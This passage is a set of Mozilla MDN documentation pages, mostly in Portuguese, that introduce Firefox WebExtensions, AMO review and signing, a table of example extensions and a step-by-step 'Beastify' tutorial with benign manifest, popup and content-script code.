(en-US).\n\nPróximos passos\n---------------\n\nAgora você tem uma idéia do processo de desenvolvimento de um WebExtension para o Firefox, que tal:\n\n* Anatomia de uma Extensão\n* Criar uma Extensão mais complexa\n* Saber mais sobre JavaScript APIs disponíveis para Extensões."}
{"title":"O que são extensões? - Mozilla","text":"O que são extensões?\n====================\n\nExtensões são bits de código que modificam a funcionalidade do navegador. Eles são escritos usando as tecnologias padrões da Web - JavaScript, HTML e CSS - além de APIs JavaScript dedicadas. Entre outras coisas, extensões podem adicionar novas funcionalidades para o navegador, ou mudar sua aparência, ou o conteúdo de páginas particulares.\n\nExtensões para Firefox são construídas usando *WebExtensions APIs*, um sistema multi-navegador (*cross-browser*) para o desenvolvimento de extensões. Para uma maior portabilidade, a API é compatível com a *extension API*, suportada pelo Google Chrome e pelo Opera. Extensões escritas para esses navegadores, na maioria dos casos, vão rodar no Firefox ou Microsoft Edge com poucas mudanças. A API é também totalmente compatível com o *multiprocess Firefox*.\n\nNo passado, você poderia desenvolver extensões para Firefox usando um dos três métodos diferentes: *XUL/XPCOM overlays, bootstrapped extensions* ou o *Add-on SDK*. A partir do fim de Novembro de 2017, *WebExtensions APIs* será o único meio de desenvolver extensões para Firefox, e os outros métodos serão descontinuados.\n\nSe você tem dúvidas ou sugestões, ou precisa de ajuda para migrar um *add-on* antigo para o *WebExtensions APIs*, você pode entrar em contato conosco pela *dev-addon mailing list* ou pelo canal *#extdev* no IRC.\n\nPróximos passos\n---------------\n\n* Para experimentar alguns exemplos de extensões, veja Exemplos de extensões\n* Para aprender sobre a estrutura de uma extensão, acesse Anatomia de uma Extensão.\n* Para acompanhar do início ao fim o desenvolvimento de uma simples extensão, veja Sua primeira Extensão."}
{"title":"O que vem a seguir ? - Mozilla","text":"O que vem a seguir ?\n====================\n\nVocê está pronto para começar a tornar a tua ideia de extensão de navegador uma realidade. Antes de iniciar essa jornada, vale a pena estar ciente de algumas coisas que te ajudarão a torná-la tranquila.\n\nTeu ambiente de desenvolvimento\n-------------------------------\n\nVocê não precisa de ferramentas de desenvolvimento especiais para criar extensões de navegador: é inteiramente possível criar ótimas extensões de navegador sem mais que um editor de textos. Porém, talvez você tenha desenvolvido para a web e tenha um conjunto de ferramentas e um ambiente que quer usar. Se for assim, você precisa estar ciente de algumas coisas.\n\nSe você usa ferramentas de minificação ou obfuscação para entregar seu código final, você precisará entregar seu código fonte para o processo de revisão AMO. Além disso, as ferramentas que você utiliza, — para minificação, obfuscação e contrução — devem ser open source ( ou oferecer uso gratuito sem limites ) e disponíveis para execução no computador do revisor (Windows, Mac ou Linux). Infelizmente, nossos revisores não podem trabalhar com ferramentas comerciais ou baseadas em web.\n\nAprenda mais acerca de ferramentas de construção\n\nThird-party libraries\n---------------------\n\nThird-party libraries are a great way to add complex features or functionality to your browser extensions quickly. When you submit an extension to the AMO review process, the process will also consider any third-party libraries used. To streamline the review, make sure you always download third-party libraries from their official website or repository, and if the library is minified provide a link to the source code. Please note that third-party libraries cannot be modified in any way.\n\nLearn more about submitting source code\n\nThe Firefox Add-on Distribution Agreement\n-----------------------------------------\n\nBrowser extensions need to be signed to install into the release or beta versions of Firefox. Signing takes place in addons.mozilla.org (AMO) and is subject to the terms and conditions of the Firefox Add-on Distribution Agreement. The goal of the agreement is to ensure Firefox users get access to well supported, quality add-ons that enhance the Firefox experience.\n\nRead the agreement\n\nLearn more about signing\n\nThe review process\n------------------\n\nWhen a browser extension is submitted for signing, it's subject to automated review. It may also be subject to a manual review, when the automated review determines that a manual review is needed. Your browser extension won't be signed until it's passed the automated review and may have its signing revoked if it fails to pass the manual review. The review process follows a strict set of guidelines, so it's easy to check and avoid any likely review problems.\n\nCheck out the review policy and guidelines\n\nAMO featured browser extensions\n-------------------------------\n\nIf you choose to list your browser extension on AMO, your extension could be featured on the AMO website, in the Firefox browser's add-on manager, or elsewhere on a Mozilla website. We've compiled a list of guidelines about how extensions are selected for featuring, by following these guidelines you give your extension the best chance of being featured.\n\nLearn more about getting your add-ons featured\n\nContinue your learning experience\n---------------------------------\n\nNow you know what lies ahead, it's time to dive into more details about browser extension development. In the sections that follow, you'll discover:\n\n* More about the fundamental concepts behind browser extensions, starting with details on how to use the JavaScript APIs (en-US).\n* A guide to the user interface components (en-US) available to your browser extensions.\n* A collection of how-to guides on achieving key tasks in your extensions or making use of the JavaScript APIs.\n* Information on how to port other browser extensions to Firefox.\n* Details about the Firefox specific workflows you can use to develop browser extensions.\n* A full reference guide to the JavaScript APIs.\n* A full reference guide to the Manifest keys."}
{"title":"Exemplos de Extensões - Mozilla","text":"Exemplos de Extensões\n=====================\n\nPara ajudar a ilustrar como desenvolver extensões, nós mantemos um repositório com simples exemplos de extensões em https://github.com/mdn/webextensions-examples. Este artigo descreve a WebExtension APIs utilizadas neste respositório.Estes exemplos funcionam no Firefox Nightly: A maioria funciona em versões anteriores do Firefox, porém verifique a chave strict\\_min\\_version no manifest.json da extensão por certificação.Se você quiser experimentar estes exemplos, você tem três opções principais:\n1. Clonar o repositório, então carregue a extensão diretamente de seu diretório de origem, usando o recurso \"Load Temporary Add-on\". A extensão permanecerá carregada até você reiniciar o Firefox.\n2. Clonar o repositório, então use a ferramenta linha de comando web-ext para executar o Firefox com a extensão instalada.\n3. Clonar o repositório, então vá até o diretório de build (construção). Isto contém as versões construídas e assinadas de todos os exemplos, então você pode simplesmente abrir eles no Firefox (usando Arquivo/Abrir arquivo) e instalar eles permanentemente, como uma extensão que você pode instalar de addons.mozilla.org.\n\nSe você quer contribuir com o respositório, nos envie um pull request.\n\n| Name | Description | JavaScript APIs |\n| --- | --- | --- |\n| annotate-page | Displays a sidebar that lets you take notes on web pages. | `storage.local``tabs.onActivated``tabs.onUpdated``tabs.query``tabs.Tab``windows.getCurrent``windows​.Window` |\n| apply-css | Adds a page action to the toolbar. Click the button to apply a red border using injected CSS. Click the button again to remove the CSS. | `pageAction.getTitle``pageAction.onClicked``pageAction.setIcon``pageAction.setTitle``pageAction.show``tabs.insertCSS``tabs.onUpdated``tabs.query``tabs.removeCSS``tabs.Tab` |\n| beastify | Adds a browser action icon to the toolbar. Click the button to choose a beast. The active tab's body content is then replaced with a picture of the chosen beast. | `extension.getURL``runtime.onMessage``tabs.executeScript``tabs.insertCSS``tabs.query``tabs.removeCSS``tabs.sendMessage``tabs.Tab` |\n| bookmark-it | Adds a bookmark button to the toolbar. Click the button to toggle a bookmark for the current page. | `bookmarks.create``bookmarks.onCreated``bookmarks.onRemoved``bookmarks.remove``bookmarks.search``browserAction.onClicked``browserAction.setIcon``browserAction.setTitle``tabs.onActivated``tabs.onUpdated``tabs.query``tabs.Tab``windows.onFocusChanged` |\n| borderify | Adds a solid red border to all webpages matching mozilla.org. |  |\n| chill-out | Show a page action after a period of inactivity. Show cat gifs when the page action is clicked. | `alarms.clearAll``alarms.create``alarms.onAlarm``pageAction.hide``pageAction.onClicked``pageAction.show``tabs.get``tabs.onActivated``tabs.onUpdated``tabs.query``tabs.update` |\n| commands | Demonstrates using the commands API to set up a keyboard shortcut. The shortcut created is accessed using Ctrl+Shift+U (Command+Shift+U on a Mac). | `commands.getAll``commands.onCommand``commands.reset``commands.update``tabs.create` |\n| content-script-register | Illustrates how an extension can register URL-matching content scripts at runtime. | `contentScripts.register``runtime.onMessage``runtime.sendMessage` |\n| context-menu-copy-link-with-types | Add a context menu option to links to copy the link to the clipboard, as plain text and as a link in rich HTML. | `contextMenus.create``contextMenus.onClicked``tabs.executeScript` |\n| contextual-identities | List, create, and remove contextual identities. | `contextualIdentities.query``tabs.create``tabs.query``tabs.remove` |\n| cookie-bg-picker | Allows the user to customize the background color and tiled pattern on sites they visit, and also saves their preferences via a cookie, reapplying them whenever they revisit a site they previously customized. | `cookies.get``cookies.onChanged``cookies.remove``cookies.set``extension.getURL``runtime.onMessage``tabs.onActivated``tabs.onUpdated``tabs.query``tabs.Tab``tabs.sendMessage` |\n| devtools-panels | Demonstrates some of the devtools APIs. | `devtools.inspectedWindow``devtools.panels``runtime.getURL``runtime.onMessage``runtime.sendMessage``tabs.executeScript` |\n| discogs-search | Demonstrates adding a custom search engine with the chrome\\_settings\\_overrides key. |  |\n| dnr-block-only | Demonstrates how to block network requests without host permissions using the declarativeNetRequest API with the `declarative\\_net\\_request` manifest key. | `declarativeNetRequest.Rule``declarativeNetRequest.RuleAction``declarativeNetRequest.RuleCondition` |\n| dnr-dynamic-with-options | Demonstrates a generic way to request host permissions and register declarativeNetRequest rules to modify network requests, without any install-time permission warnings. The options\\_ui page offers a way to request permissions and register DNR rules. | `declarativeNetRequest.Rule``declarativeNetRequest.getDynamicRules``declarativeNetRequest.getSessionRules``declarativeNetRequest.updateDynamicRules``declarativeNetRequest.updateSessionRules``permissions.getAll``permissions.remove``permissions.request` |\n| dnr-redirect-url | Demonstrates multiple ways to redirect requests using the declarativeNetRequest API through the `declarative\\_net\\_request` manifest key. Demonstrates aspects of Manifest Version 3 (MV3): action, host\\_permissions, and web\\_accessible\\_resources, and includes a comparison with Manifest Version 2 (MV2). | `declarativeNetRequest.Redirect``declarativeNetRequest.Rule``declarativeNetRequest.RuleAction``declarativeNetRequest.RuleCondition``declarativeNetRequest.URLTransform``permissions.contains``permissions.remove``permissions.request` |\n| dynamic-theme | Dynamic theme example | `alarms.create``alarms.onAlarm``theme.update` |\n| emoji-substitution | Replaces words with emojis. |  |\n| eslint-example | Demonstrates how to configure an extension with eslint. |  |\n| export-helpers | Demonstrates how to use export helpers like cloneInto to share objects with page scripts. | `notifications.create``runtime.onMessage``runtime.sendMessage` |\n| favourite-colour | An example options page, letting you store your favourite colour. | `browserAction.onClicked``runtime.openOptionsPage``storage.managed``storage.sync` |\n| find-across-tabs | Demonstration of the find API. | `browserAction.onClicked``extension.getBackgroundPage``find.find``find.highlightResults``runtime.getURL``runtime.onMessage``runtime.sendMessage``tabs.create``tabs.query``tabs.Tab` |\n| firefox-code-search | Demonstrates how to use the omnibox API. | `omnibox.onInputChanged``omnibox.onInputEntered``omnibox.setDefaultSuggestion``tabs.create``tabs.update` |\n| forget-it | Demonstrates how to use the browsingData API. | `browserAction.onClicked``browsingData.remove``notifications.create``storage.local` |\n| google-userinfo | Demonstrates how to use the identity API. | `browserAction.onClicked``identity.getRedirectURL``identity.launchWebAuthFlow``notifications.create` |\n| history-deleter | History API demo: deletes history items for a given domain | `history.deleteUrl``history.search``pageAction.show``tabs.onUpdated``tabs.query` |\n| http-response | Demonstrates how to rewrite HTTP responses using the webRequest.filterResponseData() API. | `webRequest.filterResponseData``webRequest.onBeforeRequest` |\n| imagify | Using a sidebar, illustrates the use of file picker and drag and drop. A content script replaces the current page content with the chosen image. | `extension.getURL``runtime.onMessage``tabs.executeScript``tabs.query``tabs.sendMessage` |\n| latest-download | Shows the last downloaded item, and lets you open or delete it. | `downloads.erase``downloads.getFileIcon``downloads.open``downloads.removeFile``downloads.search` |\n| list-cookies | This extensions list the cookies in the active tab. | `cookies.getAll``tabs.query` |\n| menu-accesskey-visible | Shows how to set up a single letter access key for a menu item. | `i18n.getMessage``menus.update``menus.create``menus.onClicked` |\n| menu-demo | Demonstrates adding and manipulating menu items using the menus API. | `i18n.getMessage``menus.create``menus.onClicked``menus.remove``menus.update``runtime.lastError``tabs.executeScript` |\n| menu-labelled-open | Shows how an extension can listen for the display of a menu and then add, remove, or update its menu items. | `menus.create``menus.onClicked``menus.onShown``menus.refresh``menus.update``tabs.update` |\n| menu-remove-element | Shows how to detect the page element at the cursor position and remove that element, or a parent element, from the page. This example includes use of the polyfill, illustrating cross-browser extension development. | `menus.create``menus.onClicked``menus.getTargetElement``pageAction.openPopup``pageAction.show``tabs.executeScript` |\n| menu-search | Illustrates how to retrieve a list of search engines and issue a search request, using search engine details added to the context menu for selected text. | `search.search``search.get``menus.create``menus.onClicked` |\n| mocha-client-tests | This example shows two methods of testing an extension: running tests from within the extension, and running tests from the command line using Karma. | `runtime.onMessage``runtime.sendMessage` |\n| native-messaging | Example of native messaging, including a Python application and an extension which exchanges messages with it. | `browserAction.onClicked``runtime.connectNative` |\n| navigation-stats | Demonstration of the webNavigation API, showing basic stats about which pages you've visited. | `storage.local``webNavigation.onCommitted``webNavigation.onCompleted` |\n| notify-link-clicks-i18n | Shows a localized notification when the user clicks on links. | `extension.getURL``i18n.getMessage``notifications.create``runtime.onMessage``runtime.sendMessage` |\n| open-my-page-button | Adds a browser action icon to the toolbar. When the browser action is clicked, the add-on opens a page that was packaged with it. | `browserAction.onClicked``tabs.create` |\n| page-to-extension-messaging | Demonstrates how a web page and a content script can exchange messages. Visit https://mdn.github.io/webextensions-examples/content-script-page-script-messaging.html for the demo. |  |\n| permissions | Demonstrates optional permissions using the permissions API. | `browserAction.onClicked``permissions.getAll``permissions.remove``permissions.request``runtime.getURL``tabs.create` |\n| private-browsing-theme | Example dynamic theme: sets a dark theme for private windows. | `theme.reset``theme.update``windows.getAll``windows.onCreated` |\n| proxy-blocker | Uses the proxy API to block requests to hosts specified on a list. | `extension.getURL``proxy.onRequest``proxy.onError``storage.local``storage.onChanged` |\n| quicknote | Allows the user to make quick notes by clicking a button and entering text into the resulting popup. The notes are saved in storage. | `storage.local` |\n| root-cert-stats | Shows how to get details about a request's TLS connection. | `webRequest.getSecurityInfo` |\n| runtime-examples | Demo of various runtime APIs. | `browserAction.onClicked``notifications.create``runtime.getManifest``runtime.onInstalled``runtime.reload` |\n| selection-to-clipboard | Demonstrates how to write to the clipboard from a content script |  |\n| session-state | Demonstrates how to retrieve extension-defined state from restored tabs. | `menus.create``menus.onClicked``sessions.getTabValue``sessions.setTabValue``tabs.insertCSS``tabs.onCreated``tabs.onUpdated``tabs.query` |\n| store-collected-images | Demonstrates how to use the idb-file-storage library to store and manipulate files in an extension. | `browserAction.onClicked``contextMenus.create``contextMenus.onClicked``runtime.onMessage``runtime.sendMessage``tabs.create``windows.create` |\n| stored-credentials | Performs basic authentication by supplying stored credentials. | `storage.local``webRequest.onAuthRequired``webRequest.onCompleted``webRequest.onErrorOccurred` |\n| tabs-tabs-tabs | Demonstrates tab manipulation: opening, closing, moving, zooming tabs. | `browserAction.setBadgeBackgroundColor``browserAction.setBadgeText``tabs.create``tabs.duplicate``tabs.getZoom``tabs.move``tabs.onCreated``tabs.onMoved``tabs.onRemoved``tabs.query``tabs.reload``tabs.remove``tabs.setZoom``tabs.Tab``tabs.update` |\n| theme-integrated-sidebar | A sidebar that integrates with the current theme. | `theme.getCurrent``theme.onUpdated``windows.getCurrent` |\n| theme-switcher | An example of how to use the management API for themes. | `management.getAll``management.setEnabled` |\n| themes | A collection of themes illustrating:* weta\\_fade: a basic theme employing a single image specified in `theme_frame:`.\n* weta\\_fade\\_chrome: the weta\\_fade theme implemented with Chrome compatible manifest keys.\n* weta\\_tiled: a theme using a tiled image.\n* weta\\_mirror: a theme using multiple images and aligning those images in the header.\n* animated: use of an animated PNG.\n |  |\n| top-sites | Demonstration of the topSites API. | `topSites.get` |\n| user-agent-rewriter | Demonstrates using the webRequest API to rewrite the User-Agent HTTP header. | `extension.getBackgroundPage``webRequest.onBeforeSendHeaders` |\n| user-script-register | Illustrates how an extension can register URL-matching user scripts at runtime. | `userScripts.register``runtime.onMessage``runtime.sendMessage` |\n| webpack-modules | Demonstrates how to use webpack to package npm modules in an extension. | `runtime.onMessage``runtime.sendMessage` |\n| window-manipulator | Demonstrates how to manipulate windows: opening, closing, resizing windows. | `windows.create``windows.getAll``windows.getCurrent``windows.remove``windows.update``windows​.Window` |\n| open-irc-links | Demonstrates the use of protocol handlers. |  |"}
{"title":"Passo-a-Passo - Mozilla","text":"Passo-a-Passo\n=============\n\nNeste artigo iremos criar uma Extensão para Firefox do início ao fim.\n\nA extensão adicionará um novo botão na barra de ferramentas do Firefox. Quando clicar no botão se exibirá um popup habilitando a escolha de um animal. Uma vez que o usuário escolher um animal, a página atual do navegador será substituida por uma imagem do animal escolhido.\n\nPara implementar esse extensão, será necessário:\n\n* **definir a ação do navegador, que é um botão ligado a barra de ferramentas**.\n Para o botão nós iremos fornecer:\n    + um icone chamado \"beasts.png\"\n    + um popup para abrir quando o botão for pressionado. O popup irá ter incluso HTML, CSS e JavaScript.\n* **escrever um content script, \"beastify.js\" que irá ser injetado na página web**.\n Este é o código que irá modificar a página.\n* **empacotar alguma imagens de animais para substituir na página**.\n Nós iremos criar as imagens \"web accessible resources\" então a página poderá referenciar eles.\n\nVocê pode visualizar toda a estrutura da extensão da seguinte forma:\n\n![](/pt-BR/docs/Mozilla/Add-ons/WebExtensions/Your_second_WebExtension/beastify-anatomy.svg)\n\nÉ uma extensão extremamente simples, mas mostra muitos conceitos básicos da API de Extensões:\n\n* adicionando um botão na barra de ferramentas\n* Definindo um panel de popup usando HTML, CSS e JavaScript\n* Injetando content scripts nas páginas\n* comunicação entre content scripts e o resto das extensões\n* empacotando recursos com sua extensão que serão usadas nas páginas\n\nVocê pode encontrar o código completo da extensão no GitHub.\n\nPara criar essa extensão você precisará do Firefox 45 ou mais recente.\n\nEscrevendo a WebExtension\n-------------------------\n\nCrie um novo diretório e navegue até ele:\n\n\n```bash\nmkdir beastify\ncd beastify\n```\n\n### manifest.json\n\nAgora crie um novo arquivo chamado \"manifest.json\", e insira o seguinte conteúdo:\n\n\n```json\n{\n  \"manifest\\_version\": 2,\n  \"name\": \"Beastify\",\n  \"version\": \"1.0\",\n\n  \"applications\": {\n    \"gecko\": {\n      \"id\": \"beastify@mozilla.org\"\n    }\n  },\n\n  \"permissions\": [\"http://\\*/\\*\", \"https://\\*/\\*\"],\n\n  \"browser\\_action\": {\n    \"default\\_icon\": \"button/beasts.png\",\n    \"default\\_title\": \"Beastify\",\n    \"default\\_popup\": \"popup/choose\\_beast.html\"\n  },\n\n  \"web\\_accessible\\_resources\": [\n    \"beasts/frog.jpg\",\n    \"beasts/turtle.jpg\",\n    \"beasts/snake.jpg\"\n  ]\n}\n```\n\n\n* As primeiras três chaves : **`manifest_version`**, **`name`**, e **`version`**, são obrigatórias e contém metadados básicos para a extensão.\n* **`permissions`** lista as permisões que a extensão precisa. Nós iremos apenas perguntar se pediremos permissão para modificar todas as páginas HTTP e HTTPS : veja a documentação para as chaves de `permissions`. Nós prefirimos por usar a permissão `activeTab` aqui , mas atualmente não é suportada pela Firefox.\n* **`browser_action`** especifica o botão da barra de ferramentas. Iremos fornecer três informações aqui:\n    + **`default_icon`** é obrigatório, e aponta para o icone do botão\n    + **`default_title`** é opicional, e mostra a mensagem em um tooltip\n    + **`default_popup`** é usado se você quer que um popup seja mostrado quando o usuário clicar no botão. Nós fazemos isto, então incluímos esta chave e apontamos para um arquivo HTML incluído na extensão.\n* **`web_accessible_resources`** lista arquivos que queremos criar tornar acessível para as páginas. Uma vez que a extensão substitui as imagens da página com imagens que já empacotamos com a extensão , nós precisamos fazer estas imagens acessíveis à página.\n\nPerceba que todos os caminhos são relativos ao manifest.json.\n\n### O Botão na barra de ferramentas\n\nO botão na barra de ferramentas precisa de um icone, e nosso manifest.json informa que nós teriamos um icone em \"button/beasts.png\".\n\nCrie o diretório \"button\" e copie o icone com o nome \"beasts.png\". Você poderá usar um dos nossos exemplo, que é retirado do Aha-Soft's Free Retina iconset e usado sob os termos de sua licença.\n\nSe você não fornecer um popup, então um evento de click é lançado para sua extensão quando o usuário clicar no botão. Se você fornecer um popup, o evento de click não envia, mas ao invés disso, o popup é aberto. Nós queremos abrir um popup, então vamos criá-lo na próxima etapa.\n\n### O popup\n\nA função do popup é ativar a escolha do usuário para um dos três animais.\n\nCrie um novo diretório chamado \"popup\" na raiz do projeto. Aqui é onde nós criar os códigos para o popup. O popup irá ser constituido em três arquivos :\n\n* **`choose_beast.html`** Define o conteúdo do panel\n* **`choose_beast.css`** Estilo do conteúdo\n* **`choose_beast.js`** Captura a escolha do usuário executando um content script a aba ativa\n\n#### choose\\_beast.html\n\nO arquivo HTML criado é este:\n\n\n```html\n<!doctype html>\n\n<html>\n  <head>\n    <meta charset=\"utf-8\" />\n    <link rel=\"stylesheet\" href=\"choose\\_beast.css\" />\n  </head>\n\n  <body>\n    <div class=\"beast\">Frog</div>\n    <div class=\"beast\">Turtle</div>\n    <div class=\"beast\">Snake</div>\n\n    <script src=\"choose\\_beast.js\"></script>\n  </body>\n</html>\n```\n\n\nNós temos um elemento para cada escolha de animal. Perceba que nós incluimos os arquivo CSS e JS nesse arquivo, igual a uma página web.\n\n#### choose\\_beast.css\n\nO CSS ajusta o tamanho do popup, garantindo que as três escolhas irão preencher o espaço, e daremos a eles algum estilo básico:\n\n\n```css\nhtml,\nbody {\n  height: 100px;\n  width: 100px;\n  margin: 0;\n}\n\n.beast {\n  height: 30%;\n  width: 90%;\n  margin: 3% auto;\n  padding-top: 6%;\n  text-align: center;\n  font-size: 1.5em;\n  background-color: #e5f2f2;\n  cursor: pointer;\n}\n\n.beast:hover {\n  background-color: #cff2f2;\n}\n```\n\n\n#### choose\\_beast.js\n\nNo JavaScript para o popup, nós iremos \"escutar\" o evento de click . Se o clique foi em uma das três escolhas de animais, nós iremos injetar um content script na aba ativa. Um vez que o content script é carregado , nós enviaremos uma mensagem com o animal escolhido:\n\n\n```js\ndocument.addEventListener(\"click\", function (e) {\n  if (!e.target.classList.contains(\"beast\")) {\n    return;\n  }\n\n  var chosenBeast = e.target.textContent;\n\n  chrome.tabs.executeScript(null, {\n    file: \"/content\\_scripts/beastify.js\",\n  });\n\n  chrome.tabs.query({ active: true, currentWindow: true }, function (tabs) {\n    chrome.tabs.sendMessage(tabs[0].id, { beast: chosenBeast });\n  });\n});\n```\n\n\nÉ usado três funções da API WebExtension:\n\n* **`chrome.tabs.executeScript`** Para injetar um content script que se encontra em \"content\\_scripts/beastify.js\" na aba ativa\n* **`chrome.tabs.query`** Obter a aba ativa\n* **`chrome.tabs.sendMessage`** para enviar uma mensagem para o content scripts executando na aba ativa. A mensagem irá conter as propriedades do animal escolhido.\n### O content script\n\nCrie a novo diretório na pasta root do projeto chamado \"content\\_scripts\" e crie um novo arquivo com o nome \"beastify.js\", com o seguinte conteúdo:\n\n\n```js\n// Assign beastify() as a listener for messages from the extension.\nchrome.runtime.onMessage.addListener(beastify);\n\nfunction beastify(request, sender, sendResponse) {\n  removeEverything();\n  insertBeast(beastNameToURL(request.beast));\n  chrome.runtime.onMessage.removeListener(beastify);\n}\n\nfunction removeEverything() {\n  while (document.body.firstChild) {\n    document.body.firstChild.remove();\n  }\n}\n\nfunction insertBeast(beastURL) {\n  var beastImage = document.createElement(\"img\");\n  beastImage.setAttribute(\"src\", beastURL);\n  beastImage.setAttribute(\"style\", \"width: 100vw\");\n  beastImage.setAttribute(\"style\", \"height: 100vh\");\n  document.body.appendChild(beastImage);\n}\n\nfunction beastNameToURL(beastName) {\n  switch (beastName) {\n    case \"Frog\":\n      return chrome.extension.getURL(\"beasts/frog.jpg\");\n    case \"Snake\":\n      return chrome.extension.getURL(\"beasts/snake.jpg\");\n    case \"Turtle\":\n      return chrome.extension.getURL(\"beasts/turtle.jpg\");\n  }\n}\n```\n\n\nO content script adiciona um listener da mensagem para a extensão (especificamente , para \"choose\\_beast.js\"). No listener:\n\n* remover todos os elementos em `document.body`\n* transforma os nomes dos animais em uma URL para ser usada na imagem\n* Cria uma tag `<img>`, e insere no DOM\n* Remove a mensagem da listener\n### Os animais\n\nFinalmente, nós precisamos incluir as imagens dos animais.\n\nCrie um novo diretório chamado \"beasts\", e adicione as três imagens nos diretório, com os nomes apropriados. Você pode obter as imagens aqui no GitHub, ou aqui:\n\n![](/pt-BR/docs/Mozilla/Add-ons/WebExtensions/Your_second_WebExtension/frog.jpg)\n![](/pt-BR/docs/Mozilla/Add-ons/WebExtensions/Your_second_WebExtension/snake.jpg)\n![](/pt-BR/docs/Mozilla/Add-ons/WebExtensions/Your_second_WebExtension/turtle.jpg)\n\nEmpacotando e instalando\n------------------------\n\nVerifique se os seus arquivos estão estruturados de acordo com as informações abaixo:\n```\n\nbeastify/\n\n    beasts/\n        frog.jpg\n        snake.jpg\n        turtle.jpg\n\n    button/\n        beasts.png\n\n    content_scripts/\n        beastify.js\n\n    popup/\n        choose_beast.css\n        choose_beast.html\n        choose_beast.js\n\n    manifest.json\n```\n\n\nExtensões Firefox são empacotados como arquivos XPI, que são apenas arquivos ZIP com a extensão \"XPI\".\n\nUm truque é que o arquivo ZIP deve ser um dos arquivos de extensão . Portanto, para criar um XPI a partir dos arquivos beastify , navegue até o diretório \" beastify \" em um shell de comando e digite:\n\n\n```bash\n   # in beastify/\n   zip -r ../beastify.xpi *\n```\n\n\nOu você pode compactar com alguma ferramenta do tipo WinRar escolhe a forma de empacotação ZIP e subistituir .zip para XPI\n\nPara instalar o XPI, você apenas irá abrir o Firefox:\n\n* Vá até o Arquivos, seleciona Abrir arquivo, ou pressione Ctrl/Cmd+O\n* selecione \"beastify.xpi\" na caixa de dialógo que abriu\n\nVocê deverá receber um aviso de que você está instalando uma extensão não assinada. Aceite o aviso de advertência.\n\nVocê poderá ver o icone aparecer na barra de ferramentas. Abra uma nova página web, então click no icone, selecione um animal e veja a imagem que você escolheu na página."}
{"title":"Anatomia de uma WebExtension - Mozilla","text":"Anatomia de uma WebExtension\n============================\n\nUma extensão consiste de uma coleção de arquivos, empacotados para distribuição e instalação. Nesse artigo vamos falar rapidamente sobre os arquivos que podem estar presentes em uma extensão.\n\nToda extensão contém um arquivo chamado \"manifest.json\". Ele pode conter ponteiros para quatro outros tipos de arquivos:\n\n* background pages: implementação de lógica de longa duração\n* content scripts: executado no contexto de páginas web\n* browser action files: implementação de botões na toolbar\n* web accessible resources: torna o conteúdo do pacote acessível a páginas web e scripts de conteúdo\n\n![](/pt-BR/docs/Mozilla/Add-ons/WebExtensions/Anatomy_of_a_WebExtension/webextension-anatomy.svg)\n\nmanifest.json\n-------------\n\nEsse é o único arquivo que está presente em toda WebExtension. Ele contém metadados básicos sobre a extensão, tais como o nome, a versão e as permissões que ela necessita. Também provê ponteiros para outros arquivos na extensão.\n\nPara mais detalhes sobre o arquivo \"manifest.json\", acesse a página de referência.\n\nBackground pages\n----------------\n\nMuitas vezes as WebExtensions precisam manter um estado ou performance operativa de longa duração, independentemente do ciclo de vida das páginas ou janelas do navegador. As background pages e os scripts servem pra isso.\n\nBackground scripts são carregados assim que a extensão tem sua carga concluída, e permanecem carregados até que ela seja desativada ou desinstalada. No script você pode fazer uso de qualquer uma das WbExtensions APIs.\n\nOs background scripts não possuem acesso direto às páginas web. No entanto, eles podem carregar scripts de conteúdo na página, e podem se comunicar com os scripts de conteúdo usando uma API de envio de mensagens.\n\nVocê pode incluir uma background page usando a chave `background` no \"manifest.json\". Você não precisa informar a sua própria background page. Se você incluir uma página de background, um arquivo vazio será criado.\n\n\n```json\n// manifest.json\n\n\"background\": {\n  \"scripts\": [\"background-script.js\"]\n}\n```\n\n\nNo entanto, você pode escolher informar a página de background como um arquivo HTML a parte:\n\n\n```json\n// manifest.json\n\n\"background\": {\n  \"page\": \"background-page.html\"\n}\n```\n\nScripts de conteúdo\n-------------------\n\nUse os scripts de conteúdo para acessar e manipular páginas web. Scripts de conteúdo são carregados dentro das páginas web e executados em um contexto particular nessa página.\n\nEles podem ver e manipular páginas DOM,\n\nScripts de conteúdo podem ver e manipular o DOM das páginas, da mesma forma como os scripts normais carregados pela página.\n\nAo contrário dos scripts normais, os scripts de conteúdo podem:\n\n* fazer requisições XHR cross-domain\n* utilizar um pequeno subconjunto de WebExtension APIs\n* trocar mensagens com os scripts de background e acessar indiretamente todas as WebExtensions APIs.\n\nScripts de conteúdo não podem acessar diretamente os scripts normais da página, mas podem trocar mensagens com eles através do uso da API window.postMessage.\n\nNormalmente, quando falamos de scripts de conteúdo, estamos nos referindo a JavaScript, mas é possível injetar CSS em paginas web que utilizam o mesmo mecanismo.\n\nVocê pode injetar scripts de conteúdo em páginas web de duas formas: anexando os scripts para todas as páginas correspondentes a um padrão de URL, ou através de programação a partir de um script de background.\n\nPara injetar scripts em páginas com base na URL, use a chave `content_scripts` no \"manifest.json\", informando um ou mais scripts e um array com os padrões:\n\n\n```json\n// manifest.json\n\n\"content\\_scripts\": [\n  {\n    \"matches\": [\"\\*://\\*.mozilla.org/\\*\"],\n    \"js\": [\"my-script.js\"]\n  }\n]\n```\n\n\nSe a URL da página corresponder aos padrões passados na chave `matches`, os scripts passados na chave `js` serão carregados.\n\nPara injetar os scripts na página via programação (por exemplo, quando o usuário clicar em um botão) use a API `tabs`:\n\n\n```js\n// background.js\n\nchrome.tabs.executeScript({\n  file: \"my-script.js\",\n});\n```\n\n\nAprenda mais sobre scripts de conteúdo lendo sua documentação.\n\nAções de navegador\n------------------\n\nUma \"ação de navegador\" é um botão que você pode adicionar na barra de ferramentas do Firefox. O botão tem um ícone. Você pode informar múltiplos ícones em diferentes tamanhos: fazendo isso, o navegador irá selecionar o ícone mais adequado para a densidade de pixels da tela.\n\nOpcionalmente, você pode definir um popup para o botão usando HTML, CSS e JavaScript.\n\nSe você não definir um popup, quando o usuário clicar no botão um evento será disparado, que pode ser ouvido nos scripts de background.\n\nSe você define um popup, o evento não é disparado: ao invés disso, o popup será mostrado para que o usuário possa interagir. Os scripts executados em popup são capazes de utilizar WebExtension APIs.\n\nPara aprender mais sobre ações de navegador, consulte a página da API.\n\nRecursos acessíveis na web\n--------------------------\n\nRecursos acessíveis na web são recursos como imagens, HTML, CSS, JavaScript, que podem ser incluídos na extensão e quer tornar acessível aos scripts de conteúdo e aos scripts da página. Eles podem ser referenciados a partir de scripts de página e de conteúdo, usando um URI scheme especial.\n\nPor exemplo, se um script de conteúdo quer inserir algumas imagens em páginas da web, você pode incluí-los na extensão e torná-los acessíveis na web. Em seguida o script de conteúdo pode criar e acrescentar tags img que fazem referência às imagens 